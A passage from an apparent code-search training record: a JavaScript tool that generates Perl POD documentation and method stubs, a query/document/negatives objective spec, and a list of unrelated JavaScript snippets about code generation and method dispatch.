(currentLine.length + myWord.length > 72) { if (currentLine.length > 0) lines.push(currentLine); currentLine = ""; } // If we have stuff already in the line, we need to insert a space // between it and the new word. if (currentLine.length > 0) currentLine += " "; currentLine += myWord; } if (currentLine.length > 0) lines.push(currentLine); } } // Put a spacer after the description. lines.push(""); // Do we have parameters? If we do, they get put in an item list. if (parmList.length > 0) { lines.push("=over 4", ""); for (var i = 0; i < parmList.length; i++) { // Strip off the type indicator. var thisParm = parmList[i].slice(1); // Generate the item. lines.push("=item " + thisParm, "", "##TODO: " + thisParm + " description", ""); } // If there's a return value, add an item for it. if (returnValue != "") { lines.push("=item RETURN", "", "##TODO: return value description", ""); } // Close the parm list. lines.push("=back", ""); } // Cut the documentation and start the method. lines.push("=cut", ""); // Only proceed if DocOnly is NOT set. if (! myForm.elements["DocOnly"].checked) { lines.push("sub " + methodName + " {"); // Add the $self thing to the parameter list if this is an instance method. if (callType != "") { parmList.unshift(callType); } // If there is a parameter list, generate the code to extract it. if (parmList.length > 0) { lines.push(" # Get the parameters.", " my (" + parmList.join(", ") + ") = @_;"); } // If there is a return value, generate the code to declare it. if (returnValue != "") { // If we have a list return, the return value is used unchanged. Otherwise, we use the // variable retVal. Note also that if we have a list return, everything becomes // plural. var returnType = ""; if (returnValue.charAt(0) != "(") { returnValue = returnValue.charAt(0) + "retVal"; } else { returnType = "s"; } lines.push(" # Declare the return variable" + returnType + ".", " my " + returnValue + ";"); } // Leave space for the code. lines.push(" ##TODO: Code"); // If there is a return value, generate the code to return it. if (returnValue != "") { lines.push(" # Return the result" + returnType + ".", " return " + returnValue + ";"); } // Close the method. lines.push("}", "", "", ""); } // Store the code in the result field. resultField.value = lines.join("\n"); // Select all of it. resultField.select(); resultField.focus(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generateCode(){\n\n}", "async buildCode() {\n\t\tawait this._codeSource.generated.generate();\n\t}", "make_code_item(code_expr, start_v) {\n this.code_item = code_expr\n this.code_item.prop_name_ser = \"cv\"\n this.code_item.override_create_elem = (line, show_v, change_func, prop_name)=>{ \n const ed = new Editor(line, show_v, change_func, {lang:\"glsl\", dlg_title:prop_name, dlg_rect_wrap:this.dlg_rect_wrap, with_popout:true});\n return ed\n }\n this.code_item.parse_opt = PARSE_CODE\n this.populate_code_ctx_menu(this.code_item.ctx_menu)\n // initial code string, done even if code is not selected since this is the only place we can do this initialization\n this.code_item.peval(\"return \" + start_v) \n this.do_set_eactives()\n\n this.code_line = null\n this.single_line = null // set in the subclass add_elems\n this.show_code_callback = null \n }", "function compile(model,path) \n{\n model.fields.push('id');\n\n // ex: RunOrg.Person.Profile = ...\n generated.push('RunOrg');\n path.split('.').forEach(member);\n generated.push('=');\n\n var content = newClass;\n\n for (var k in model.statics) \n {\n\tvar s = model.statics[k];\n\tcontent = addFunction(k, s, false, content);\n }\n\n for (var k in model.methods) \n {\n\tvar s = model.methods[k];\n\tcontent = addFunction(k, s, true, content);\n }\n\n content();\n generated.push(';\\n');\n\n // ex: addFunction(...,'Get','GET',['person',0],query,body,['Person'],m)\n function addFunction(name,data,member,then) \n {\n\tvar method = data.method;\n\tvar url = data.url;\n\tvar make = data.make || null;\n\tvar body = data.body || null;\n\tvar query = data.query || null;\n\tvar args = data.args || [];\n\tvar merge = data.merge || null;\n\treturn function() \n\t{\n\t generated.push('addFunction(');\n\n\t then(); comma();\n\n\t string(name); comma();\n\t \n\t string(method); comma();\n\t \n\t array(url.split('/').filter(function(s) { return s != ''; }),argument); comma();\n\n\t if (query) argument(query);\n\t else generated.push('0');\n\n\t comma();\n\t \n\t if (body) argument(body); \t \n\t else generated.push('0');\n\n\t comma(); \n\n\t if (merge) argument(merge);\n\t else generated.push('0');\n\t \n\t comma();\n\t\t\n\t output(make);\n \n\t if (member) generated.push(',1');\n\n\t generated.push(')');\n\t}\n\n\t// Format an argument constructor\n\tfunction argument(arg) \n\t{\n\t if (arg instanceof Array) \n\t {\n\t\tarray(arg,argument);\n\t\treturn;\n\t }\n\n\t if (typeof arg === 'object')\n\t {\n\t\tvar out = {};\n\t\tvar first = true;\n\t\t\n\t\tgenerated.push('dictionary(');\n\n\t\tfor (var k in arg) \n\t\t{\n\t\t if (first) first = false;\n\t\t else comma();\n\t\t \n\t\t string(k);\n\t\t comma();\n\t\t argument(arg[k]);\n\t\t}\n\n\t\tgenerated.push(')');\n\n\t\treturn;\n\t }\n\n\t if (arg.charAt(0) === ':') \n\t {\n\t\tvar key = arg.substring(1);\n\t\t\n\t\tfor (var i = 0; i < args.length; ++i) \n\t\t if (args[i] === key) \n\t\t\treturn generated.push('getArgument(',i,')');\n\n\t\tthrow (\"Unknown argument \" + arg + \" in \" + path + \".\" + name)\n\t }\n\n\t if (arg.charAt(0) === '@') \n\t {\n\t\tvar key = arg.substring(1);\n\n\t\tif (key === '') \n\t\t{\n\t\t generated.push('identity');\n\t\t return;\n\t\t}\n\n\t\tfor (var i = 0; i < model.fields.length; ++i) \n\t\t{\n\t\t if (model.fields[i] === key) \n\t\t {\t\n\t\t\tgenerated.push('getMember(');\n\t\t\tstring(key);\n\t\t\tgenerated.push(')');\n\t\t\treturn;\n\t\t }\n\t\t}\n\n\t\tthrow (\"Unknown field \" + arg + \" in \" + path + \".\" + name)\n\t }\n\n\t return string(arg);\t \n\t}\n\n\t// Format an output constructor\n\tfunction output(make) \n\t{\n\t if (make === null) return generated.push('identity');\n\t if (make === '@') return generated.push('assignToThis');\t\t\n\t \n\t if (make instanceof Array) \n\t {\n\t\tgenerated.push('fromEach(');\n\t\toutput(make[0]);\n\t\tgenerated.push(')');\n\t\treturn;\n\t }\n\n\t if (typeof make === 'object') \n\t {\n\t\tvar k;\n\n\t\t// Pick a key, any key, from the object.\n\t\tfor (k in make) break;\n\t\t\n\t\tif (k.charAt(0) == '.') \n\t\t{\n\t\t var member = k.substring(1);\n\t\t generated.push('fromDataMember(');\n\t\t string(member);\n\t\t comma();\n\t\t output(make[k]);\n\t\t generated.push(')');\n\t\t}\n\t\telse\n\t\t{\n\t\t var first = true;\n\t\t generated.push('assignToDictionary(');\n\t\t for (k in make) \n\t\t {\n\t\t\tif (first) first = false;\n\t\t\telse comma();\n\t\t\t\n\t\t\tstring(k);\n\t\t\tcomma();\n\t\t\toutput(make[k]);\n\t\t }\n\t\t generated.push(')');\n\t\t}\n\n\t\treturn;\n\t }\n\n\t if (typeof make === 'string') \n\t {\n\t\tgenerated.push('assignToNew(');\n\t\timplode(make.split('.'),',',string);\n\t\tgenerated.push(')');\n\t\treturn;\n\t }\n\t}\n }\n\n // ex: newClass('label','gender','pic')\n function newClass() \n {\n\tgenerated.push('newClass(');\n\timplode(model.fields.filter(function (k) { return k != 'id'; }), ',', string);\n\tgenerated.push(')');\n }\n}", "function CodeInstance() {}", "function gSmethodCall(item,methodName,values) {\n\n //console.log('Going!->'+methodName);\n //console.log('Values!->'+values);\n if (gSconsoleInfo && console) {\n console.log('[INFO] gSmethodCall ('+item+').'+methodName+ ' params:'+values);\n }\n\n if (typeof(item)=='string' && methodName=='split') {\n return item.tokenize(values[0]);\n }\n if (typeof(item)=='string' && methodName=='length') {\n return item.length;\n }\n if ((item instanceof Array) && methodName=='join') {\n if (values.size()>0) {\n return item.gSjoin(values[0]);\n } else {\n return item.gSjoin();\n }\n }\n /*if (typeof(item)=='number' && methodName=='times') {\n return (item).times(values[0]);\n }*/\n\n if (!gShasFunc(item,methodName)) {\n\n //console.log('Not Going! '+methodName+ ' - '+item);\n //var nameProperty = methodName.charAt(3).toLowerCase() + methodName.slice(4);\n //var res = function () { return item[nameProperty];}\n //return res;\n\n if (methodName.startsWith('get') || methodName.startsWith('set')) {\n var varName = methodName.charAt(3).toLowerCase() + methodName.slice(4);\n var properties = item.getProperties();\n if (properties.contains(varName)) {\n if (methodName.startsWith('get')) {\n return gSgetProperty(item,varName);\n } else {\n return gSsetProperty(item,varName,values[0]);\n }\n\n }\n }\n\n //Check newInstance\n if (methodName=='newInstance') {\n return item();\n } else {\n\n //Lets check if in any category we have the static method\n if (gScategories.length > 0) {\n var whereExecutes = gScategorySearching(methodName);\n if (whereExecutes!=null) {\n return whereExecutes[methodName].apply(item,gSjoinParameters(item,values));\n }\n }\n //Lets check in mixins classes\n if (gSmixins.length>0) {\n var whereExecutes = gSmixinSearching(item,methodName);\n if (whereExecutes!=null) {\n //console.log('Where!'+whereExecutes[methodName]+' - '+item);\n return whereExecutes[methodName].apply(item,gSjoinParameters(item,values));\n }\n }\n //Lets check in mixins objects\n if (gSmixinsObjects.length>0) {\n var whereExecutes = gSmixinObjectsSearching(item,methodName);\n if (whereExecutes!=null) {\n //console.log('Where!'+whereExecutes[methodName]+' - '+item);\n return whereExecutes[methodName].apply(item,gSjoinParameters(item,values));\n }\n }\n\n //Lets check in delegate\n if (gSactualDelegate!=null && gSactualDelegate[methodName]!=undefined) {\n return gSactualDelegate[methodName].apply(item,values);\n }\n if (gSactualDelegate!=null && item['methodMissing']==undefined\n && gSactualDelegate['methodMissing']!=undefined) {\n return gSmethodCall(gSactualDelegate,methodName,values);\n }\n\n if (item['methodMissing']) {\n\n return item['methodMissing'](methodName,values);\n\n } else {\n\n //Maybe there is a function in the script with the name of the method\n //In Node.js 'this.xxFunction()' in the main context fails\n if (typeof eval(methodName)==='function') {\n return eval(methodName).apply(this,values);\n }\n\n //Not exist the method, throw exception\n throw 'gSmethodCall Method '+ methodName + ' not exist in '+item;\n }\n }\n\n } else {\n var f = item[methodName];\n return f.apply(item,values);\n }\n}", "function createMethod() {\n person.display = function(){return this.name + \" \" + this.name;};\n country.display = function(){return this.country + \" \" + this.country;};\n}", "function createMethod(item, name, method) {\n // Trick: evaluate method with bindings to get pointer to\n // function that can then be applied with arguments\n // given to this function to do the job (and get the return\n // values).\n var func = evalBinding(null,\n method + \";\" + name,\n item,\n workingContext[workingContext.length-1].getIdScope());\n return function() {\n return func.apply(null, arguments);\n };\n }", "function createInput(data) {\n\n}", "function genFunc(funcCode, index, tabCount) {\n\tvar fList = window.context.state.functionList;\n\tvar component = fList[index];\n\tif(component.type === funcNExp) {\n\t\tif(!component.hasParent && component.name.includes(\"=\")) funcCode = funcCode + \"let \" + component.name + \"<br/>\"; else funcCode = funcCode + component.name + \"<br/>\";\n\t\treturn funcCode;\n\t}\n\t// var inp, inp2;\n\tif(!component.full) return \"not valid\";\n\tvar inputName, inputName2, funcOpName;\n\t// var funcType;\n\tvar hasChild = false;\n\tchildIsOp = false;\n\tif(component.input.name === \"\") {\n\t\tinputName = varNames[currentVar];\n\t} else inputName = component.input.name;\n\tif(component.type === funcOp) {\n\t\t// inp = document.getElementById(\"type\" + component.input.id);\n\t\t// inp2 = document.getElementById(\"type\" + component.input2.id);\n\t\tif(component.input2.name === \"\") {\n\t\t\tinputName2 = varNames[++currentVar];\n\t\t} else inputName2 = component.input2.name;\n\t}\t\n\n\tif(component.name === \"\") {\n\t\tif(component.type === funcBody) {;\n\t\t\tfuncCode = funcCode + \"fun \" + inputName + \" =<br/>\";\n\t\t} else if(component.type === funcRec) {\n\t\t\tvar funcName = varNames[++currentVar];\n\t\t\tfuncCode = funcCode + \"let rec \" + funcName + \" \" + inputName + \" =<br/>\";\n\t\t} else if(component.type === funcOp) {\n\t\t\tif(component.op === \"\") return \"not valid\";\n\t\t\t// funcType = document.getElementById(\"type\" + component.id);\n\t\t\tcomponent.input.valueType = component.valueType;\n\t\t\tcomponent.input2.valueType = component.valueType;\n\t\t\tfuncOpName = \"(\" + component.op + \")\";\n\t\t\tfuncCode = funcCode + funcOpName + \" \" + inputName + \" \" + inputName2 + \"<br/>\";\n\t\t}\n\t} else {\n\t\tif(component.type === funcBody) {\n\t\t\tfuncCode = funcCode + \"let \" + component.name + \" \" + inputName + \" =<br/>\";\n\t\t} else if(component.type === funcRec) {\n\t\t\tfuncCode = funcCode + \"let rec \" + component.name + \" \" + inputName + \" =<br/>\";\n\t\t} else if(component.type === funcOp) {\n\t\t\tif(component.op === \"\") return \"not valid\";\n\t\t\t// funcType = document.getElementById(\"type\" + component.id);\n\t\t\tcomponent.input.valueType = component.valueType;\n\t\t\tcomponent.input2.valueType = component.valueType;\n\t\t\tfuncOpName = \"(\" + component.op + \")\";\n\t\t\tfuncCode = funcCode + \"let \" + component.name + \" = \" + funcOpName + \" \" + inputName + \" \" + inputName2 + \"<br/>\";\n\t\t}\n\t}\n\ttabCount++;\n\tvar i;\n\tvar hasTabs = false;\n\tif(component.type === funcOp) hasTabs = true;\n\t\n\tif(!hasTabs) {\n\t\tfor(i = 0; i < tabCount; i++) {\n\t\t\tfuncCode = funcCode + \"&emsp;\";\n\t\t}\n\t\thasTabs = true;\n\t} else {\n\t\tfor(i = 0; i < tabCount-1; i++) {\n\t\t\tfuncCode = funcCode + \"&emsp;\";\n\t\t}\n\t}\n\t\n\tif(component.output.type === funcBody || component.output.type === funcRec || component.output.type === funcOp) {\n\t\tvar outputIndex = fList.findIndex(func => func.id === component.output.id);\n\t\tcurrentVar++;\n\t\tvar temp = genFunc(funcCode, outputIndex, tabCount);\n\t\tif(temp === \"not valid\") {\n\t\t\treturn temp;\n\t\t}\n\t\tfuncCode = temp;\n\t\tif(component.output.type === funcBody || component.output.type === funcRec) hasTabs = false;\n\t\tif(component.output.name !== \"\") hasChild = true;\n\t\tif(component.output.type === funcOp) {\n\t\t\t/*if(component.input.name !== \"\" && (component.output.input.name === component.input.name || component.output.input2.name === component.input.name))*/ childIsOp = true;\n\t\t\tcomponent.input.valueType = component.output.valueType;\n\t\t} else component.input.valueType = component.output.input.valueType;\n\t}\n\t\n\tif(!hasTabs) {\n\t\tfor(i = 0; i < tabCount; i++) {\n\t\t\tfuncCode = funcCode + \"&emsp;\";\n\t\t\thasTabs = true;\n\t\t}\n\t}\n\t\n\tif(childIsOp) {\n\t\tif(component.output.name === \"\" || component.output.output.type === funcOp) funcCode = funcCode + \"<br/>\"; else funcCode = funcCode + component.output.name + \"<br/>\";\n\t} else if(hasChild) {\n\t\tif(component.output.type === funcOp && component.output.name !== \"\") {\n\t\t\tfuncCode = funcCode + inputName + \"<br/>\";\n\t\t}else if(component.type === funcBody || component.type === funcRec) funcCode = funcCode + component.output.name + \" \" + inputName + \"<br/>\";\n\t} else {\n\t\tif(component.type === funcBody || component.type === funcRec) funcCode = funcCode + inputName + \"<br/>\";\n\t}\n\tcurrentVar++;\n\treturn funcCode;\n}", "getCpp(){ return this.program.generateCpp(); }", "onCodePathEnd() {\n funcInfo = funcInfo.upper;\n }", "routine(generator) {\n\t\tthis._stack.add(generator())\n\t}", "function generators() {\n\t\t\t\tBlockly.JavaScript.fw = function(block) {\n\t\t\t\t\tif (checkTopLevel(block)) {\n\t\t\t\t\t\treturn 'programService.addInstruction(instructionFactory.getInstruction(\\x27' + block.type + '\\x27));';\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn '';\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\tBlockly.JavaScript.rr = function(block) {\n\t\t\t\t\tif (checkTopLevel(block)) {\n\t\t\t\t\t\treturn 'programService.addInstruction(instructionFactory.getInstruction(\\x27' + block.type + '\\x27));';\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn '';\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\tBlockly.JavaScript.rl = function(block) {\n\t\t\t\t\tif (checkTopLevel(block)) {\n\t\t\t\t\t\treturn 'programService.addInstruction(instructionFactory.getInstruction(\\x27' + block.type + '\\x27));';\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn '';\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\tBlockly.JavaScript.lt = function(block) {\n\t\t\t\t\tif (checkTopLevel(block)) {\n\t\t\t\t\t\treturn 'programService.addInstruction(instructionFactory.getInstruction(\\x27' + block.type + '\\x27));';\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn '';\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\tBlockly.JavaScript.start = function(block) {\n\t\t\t\t\treturn '';\n\t\t\t\t};\n\t\t\t}", "createCSString(data, opts, next) {\n var result;\n // Prepare\n [opts, next] = extractOptsAndCallback(opts, next);\n // Stringify\n result = new Error('CSON.createCS: Creating CoffeeScript code is not yet supported');\n // Complete\n return this.complete(result, next);\n }", "function gen_op_sbfx_T1(param1, param2)\n{\n //gen_opparam_ptr.push(param1);\n //gen_opparam_ptr.push(param2);\n gen_opc_ptr.push({func:op_sbfx_T1, param:param1, param2:param2});\n}", "onCodePathStart(codePath, node) {\n funcInfo = {\n upper: funcInfo,\n codePath,\n hasReturn: false,\n node\n };\n }", "generate (type) {\n return generate(type)\n }", "templateMethod() {\n this.baseOperation1();\n this.requiredOperations1();\n this.baseOperation2();\n this.hook1();\n this.requiredOperation2();\n this.baseOperation3();\n this.hook2();\n }", "function Instruction() {\r\n}", "function gen_op_swi()\n{\n gen_opc_ptr.push({func:op_swi});\n}", "create( name ) {\n // rate needs custom function to skip sequencing input and only sequence rate adjustment\n\n const params = Array.prototype.slice.call( arguments, 1 )\n\n if( name === 'rate' ) return Gen.createRate( name, ...params )\n\n let obj = Object.create( this ),\n count = 0\n \n obj.name = name\n obj.active = false\n \n for( let key of Gen.functions[ name ].properties ) { \n\n let value = params[ count++ ]\n obj[ key ] = v => {\n if( v === undefined ) {\n return value\n }else{\n value = v\n if( obj.active ) {\n if( obj.__client === 'live' ) {\n Gibber.Communication.send( `genp ${obj.paramID} ${obj[ key ].uid} ${v}` ) \n }else if( obj.__client === 'max' ) {\n Gibber.Communication.send( `sig ${obj.paramID} param ${obj[ key ].uid} ${v}`, 'max' ) \n }\n }\n }\n }\n obj[ key ].uid = Gen.getUID()\n\n Gibber.addSequencingToMethod( obj, key )\n }\n\n return obj\n }", "function subLet()\r\n{\r\n\tcurrentSubroutine = \"subLet()\"\r\n\t\r\n\tvar _argumentCount\r\n\tvar _value\r\n\tvar _name\r\n\tvar la\r\n\t\r\n\t_value = \"N0pe.\"\r\n\t_name = parseNextWord()\r\n\tif (stop) return \"N0pe.\" // +++ STOP +++\r\n\r\n\tla = lookAhead()\r\n\tif (stop) return \"N0pe.\" // +++ STOP +++\r\n\t\r\n\tif (la == \"unknown\")\r\n\t{\r\n\t\tparseNextWord()\r\n\t\terror(invalidParameterForLet, true) // +++ STOP +++\r\n\t}\r\n\t// immediate values\r\n\telse if (la == \"number\")\r\n\t{\r\n\t\t_value = parseNextNumber()\r\n\t\tnewVariable(_name, 0, user, _value)\r\n\t}\r\n\telse if (la == \"string\")\r\n\t{\r\n\t\t_value = parseNextString()\r\n\t\tif (stop) return \"N0pe.\" // +++ STOP +++\r\n\t\t_argumentCount = paramCount(_value)\r\n\t\tnewVariable(_name, _argumentCount, user, _value)\r\n\t}\r\n\t// already defined values\r\n\telse if (la == \"defined\")\r\n\t{\r\n\t\tparseNextWord() // read next word\r\n\t\t// built-in subroutines\r\n\t\tif (variableArray[variableLastLookup].isBuiltIn == builtIn)\r\n\t\t{\r\n\t\t\t_value = variableArray[variableLastLookup].value()\r\n\t\t\t_argumentCount = paramCount(_value)\r\n\t\t\tnewVariable(_name, _argumentCount, user, _value)\r\n\t\t}\r\n\t\telse // user\r\n\t\t{\r\n\t\t\t_value = variableArray[variableLastLookup].value\r\n\t\t\tnewVariable(_name,\r\n\t\t\t\tvariableArray[variableLastLookup].argumentCount,\r\n\t\t\t\tvariableArray[variableLastLookup].isBuiltIn,\r\n\t\t\t\t_value)\r\n\t\t}\r\n\t}\r\n\r\n\tlastReturnValue = _value // +++ lastReturnValue +++\r\n\treturn _value\r\n}", "function gen_op_test_cs(param1)\n{\n //gen_opparam_ptr.push(param1);\n gen_opc_ptr.push({func:op_test_cs, param: param1});\n}", "function populate_go_chaincode(name){\n\tif(chaincode[name] != null){\n\t\tconsole.log('[obc-js] \\t skip, already exists');\n\t}\n\telse {\n\t\tchaincode.details.func.push(name);\n\t\tchaincode[name] = function(args, cb){\t\t\t\t\t\t\t\t//create the functions in chaincode obj\n\t\t\tvar options = {path: '/devops/invoke'};\n\t\t\tvar body = {\n\t\t\t\t\tchaincodeSpec: {\n\t\t\t\t\t\ttype: \"GOLANG\",\n\t\t\t\t\t\tchaincodeID: {\n\t\t\t\t\t\t\tname: chaincode.details.deployed_name,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tctorMsg: {\n\t\t\t\t\t\t\tfunction: name,\n\t\t\t\t\t\t\targs: args\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t};\n\n\t\t\toptions.success = function(statusCode, data){\n\t\t\t\tconsole.log(\"[obc-js]\", name, \" - success:\", data);\n\t\t\t\tif(cb) cb(null, data);\n\t\t\t};\n\t\t\toptions.failure = function(statusCode, e){\n\t\t\t\tconsole.log(\"[obc-js]\", name, \" - failure:\", statusCode);\n\t\t\t\tif(cb) cb(eFmt('http error', statusCode, e), null);\n\t\t\t};\n\t\t\trest.post(options, '', body);\n\t\t};\n\t}\n}", "function runCode() {\n\t\tset_code(data);\n\t}", "function generateShape(type, func){\n //here happens part of the magic!\n //do as many computations, API calls and database calls as you wish\n var theType = \"i am generating the following shape type: \" + type\n var randNumber = func()\n \n //function as an expression\n var shapeGenerator \n\n if (randNumber > .5) {\n //here depending on the 50% of possibilities, we decide the f's implementation\n shapeGenerator = function () {\n console.log(\"Implementation type I\")\n console.log(theType)\n console.log(randNumber)\n }\n } else {\n shapeGenerator = function () {\n console.log(\"Implementation type II\")\n console.log(randNumber)\n console.log(theType)\n }\n }\n return shapeGenerator\n}", "function instructionGenerator() {\n function multiplyBy2(num) {\n return num * 2;\n }\n return multiplyBy2;\n}", "function routeCode(procedure) {\n\tconsole.log(\"Generating route for\", procedure.name);\n\tvar js = \"\";\n\n\tfunction add(line) {\n\t\tjs += line + '\\n';\n\t}\n\n\tadd(\"var express = require(\\\"express\\\");\");\n\tadd(\"/**\");\n\tadd(\" * @function \" + procedure.name);\n\tfor (i = 0; i < procedure.parameters.length; i++) {\n\t\tvar temp = \" * @param {\" + procedure.parameters[i].type + \"} \" + procedure.parameters[i].name;\n\t\tadd(temp);\n\t}\n\tadd(\" */\\n\");\n\tadd(\"exports.router = function (connection) {\");\n\tadd(\"\tvar router = express.Router();\");\n\tadd(\"\trouter.post(\\\"/\"+procedure.name+\"\\\", function (req, res) {\");\n\tadd(\"\t\tconnection.query(\\\"\" + query(procedure.name, procedure.parameters) + \"\\\", req.body, res);\");\n\tadd(\"\t});\");\n\tadd(\"\treturn router;\");\n\tadd(\"}\");\n\n\treturn js;\n}", "async generate(){\r\n return this.call('generate',...(Array.from(arguments)));\r\n }", "function createCleaningMethod() {\n var oCallback = new Callback();\n oCallback.add(\"Type\", el(\"txtType\").value);\n oCallback.add(\"Description\", el(\"txtDescription\").value);\n oCallback.add(\"ActiveBit\", el(\"chkActive\").checked);\n oCallback.invoke(\"CleaningMethod.aspx\", \"CreateCleaningMethod\");\n\n if (oCallback.getCallbackStatus()) {\n setPageMode(MODE_EDIT);\n showInfoMessage(oCallback.getReturnValue(\"Message\"));\n HasChanges = false;\n setPageID(oCallback.getReturnValue(\"ID\"));\n bindCleaningTypeDetail(MODE_EDIT);\n resetHasChanges(\"ifgCleaningMethodDetail\");\n setReadOnly(\"txtType\", true);\n setFocusToField(\"txtDescription\");\n }\n else {\n showErrorMessage(oCallback.getCallbackError());\n }\n oCallback = null;\n\n}", "function setupProgram(programData, typesOffset) {\n \"use strict\";\n function generateAccessor(fieldDescriptor, accessors, cls) {\n var fieldInformation = fieldDescriptor.split(\"-\");\n var field = fieldInformation[0];\n var len = field.length;\n var code = field.charCodeAt(len - 1);\n var reflectable;\n if (fieldInformation.length > 1)\n reflectable = true;\n else\n reflectable = false;\n code = code >= 60 && code <= 64 ? code - 59 : code >= 123 && code <= 126 ? code - 117 : code >= 37 && code <= 43 ? code - 27 : 0;\n if (code) {\n var getterCode = code & 3;\n var setterCode = code >> 2;\n var accessorName = field = field.substring(0, len - 1);\n var divider = field.indexOf(\":\");\n if (divider > 0) {\n accessorName = field.substring(0, divider);\n field = field.substring(divider + 1);\n }\n if (getterCode) {\n var args = getterCode & 2 ? \"receiver\" : \"\";\n var receiver = getterCode & 1 ? \"this\" : \"receiver\";\n var body = \"return \" + receiver + \".\" + field;\n var property = cls + \".prototype.get$\" + accessorName + \"=\";\n var fn = \"function(\" + args + \"){\" + body + \"}\";\n if (reflectable)\n accessors.push(property + \"$reflectable(\" + fn + \");\\n\");\n else\n accessors.push(property + fn + \";\\n\");\n }\n if (setterCode) {\n var args = setterCode & 2 ? \"receiver, value\" : \"value\";\n var receiver = setterCode & 1 ? \"this\" : \"receiver\";\n var body = receiver + \".\" + field + \" = value\";\n var property = cls + \".prototype.set$\" + accessorName + \"=\";\n var fn = \"function(\" + args + \"){\" + body + \"}\";\n if (reflectable)\n accessors.push(property + \"$reflectable(\" + fn + \");\\n\");\n else\n accessors.push(property + fn + \";\\n\");\n }\n }\n return field;\n }\n function defineClass(name, fields) {\n var accessors = [];\n var str = \"function \" + name + \"(\";\n var body = \"\";\n var fieldNames = \"\";\n for (var i = 0; i < fields.length; i++) {\n if (i != 0)\n str += \", \";\n var field = generateAccessor(fields[i], accessors, name);\n fieldNames += \"'\" + field + \"',\";\n var parameter = \"p_\" + field;\n str += parameter;\n body += \"this.\" + field + \" = \" + parameter + \";\\n\";\n }\n if (supportsDirectProtoAccess)\n body += \"this.\" + \"$deferredAction\" + \"();\";\n str += \") {\\n\" + body + \"}\\n\";\n str += name + \".builtin$cls=\\\"\" + name + \"\\\";\\n\";\n str += \"$desc=$collectedClasses.\" + name + \"[1];\\n\";\n str += name + \".prototype = $desc;\\n\";\n if (typeof defineClass.name != \"string\")\n str += name + \".name=\\\"\" + name + \"\\\";\\n\";\n str += name + \".\" + \"$__fields__\" + \"=[\" + fieldNames + \"];\\n\";\n str += accessors.join(\"\");\n return str;\n }\n init.createNewIsolate = function() {\n return new Isolate();\n };\n init.classIdExtractor = function(o) {\n return o.constructor.name;\n };\n init.classFieldsExtractor = function(o) {\n var fieldNames = o.constructor.$__fields__;\n if (!fieldNames)\n return [];\n var result = [];\n result.length = fieldNames.length;\n for (var i = 0; i < fieldNames.length; i++)\n result[i] = o[fieldNames[i]];\n return result;\n };\n init.instanceFromClassId = function(name) {\n return new init.allClasses[name]();\n };\n init.initializeEmptyInstance = function(name, o, fields) {\n init.allClasses[name].apply(o, fields);\n return o;\n };\n var inheritFrom = supportsDirectProtoAccess ? function(constructor, superConstructor) {\n var prototype = constructor.prototype;\n prototype.__proto__ = superConstructor.prototype;\n prototype.constructor = constructor;\n prototype[\"$is\" + constructor.name] = constructor;\n return convertToFastObject(prototype);\n } : function() {\n function tmp() {\n }\n return function(constructor, superConstructor) {\n tmp.prototype = superConstructor.prototype;\n var object = new tmp();\n convertToSlowObject(object);\n var properties = constructor.prototype;\n var members = Object.keys(properties);\n for (var i = 0; i < members.length; i++) {\n var member = members[i];\n object[member] = properties[member];\n }\n object[\"$is\" + constructor.name] = constructor;\n object.constructor = constructor;\n constructor.prototype = object;\n return object;\n };\n }();\n function finishClasses(processedClasses) {\n var allClasses = init.allClasses;\n processedClasses.combinedConstructorFunction += \"return [\\n\" + processedClasses.constructorsList.join(\",\\n \") + \"\\n]\";\n var constructors = new Function(\"$collectedClasses\", processedClasses.combinedConstructorFunction)(processedClasses.collected);\n processedClasses.combinedConstructorFunction = null;\n for (var i = 0; i < constructors.length; i++) {\n var constructor = constructors[i];\n var cls = constructor.name;\n var desc = processedClasses.collected[cls];\n var globalObject = desc[0];\n desc = desc[1];\n constructor[\"@\"] = desc;\n allClasses[cls] = constructor;\n globalObject[cls] = constructor;\n }\n constructors = null;\n var finishedClasses = init.finishedClasses;\n function finishClass(cls) {\n if (finishedClasses[cls])\n return;\n finishedClasses[cls] = true;\n var superclass = processedClasses.pending[cls];\n if (superclass && superclass.indexOf(\"+\") > 0) {\n var s = superclass.split(\"+\");\n superclass = s[0];\n var mixinClass = s[1];\n finishClass(mixinClass);\n var mixin = allClasses[mixinClass];\n var mixinPrototype = mixin.prototype;\n var clsPrototype = allClasses[cls].prototype;\n var properties = Object.keys(mixinPrototype);\n for (var i = 0; i < properties.length; i++) {\n var d = properties[i];\n if (!hasOwnProperty.call(clsPrototype, d))\n clsPrototype[d] = mixinPrototype[d];\n }\n }\n if (!superclass || typeof superclass != \"string\") {\n var constructor = allClasses[cls];\n var prototype = constructor.prototype;\n prototype.constructor = constructor;\n prototype.$isObject = constructor;\n prototype.$deferredAction = function() {\n };\n return;\n }\n finishClass(superclass);\n var superConstructor = allClasses[superclass];\n if (!superConstructor)\n superConstructor = existingIsolateProperties[superclass];\n var constructor = allClasses[cls];\n var prototype = inheritFrom(constructor, superConstructor);\n if (mixinPrototype)\n prototype.$deferredAction = mixinDeferredActionHelper(mixinPrototype, prototype);\n if (Object.prototype.hasOwnProperty.call(prototype, \"%\")) {\n var nativeSpec = prototype[\"%\"].split(\";\");\n if (nativeSpec[0]) {\n var tags = nativeSpec[0].split(\"|\");\n for (var i = 0; i < tags.length; i++) {\n init.interceptorsByTag[tags[i]] = constructor;\n init.leafTags[tags[i]] = true;\n }\n }\n if (nativeSpec[1]) {\n tags = nativeSpec[1].split(\"|\");\n if (nativeSpec[2]) {\n var subclasses = nativeSpec[2].split(\"|\");\n for (var i = 0; i < subclasses.length; i++) {\n var subclass = allClasses[subclasses[i]];\n subclass.$nativeSuperclassTag = tags[0];\n }\n }\n for (i = 0; i < tags.length; i++) {\n init.interceptorsByTag[tags[i]] = constructor;\n init.leafTags[tags[i]] = false;\n }\n }\n prototype.$deferredAction();\n }\n if (prototype.$isInterceptor)\n prototype.$deferredAction();\n }\n var 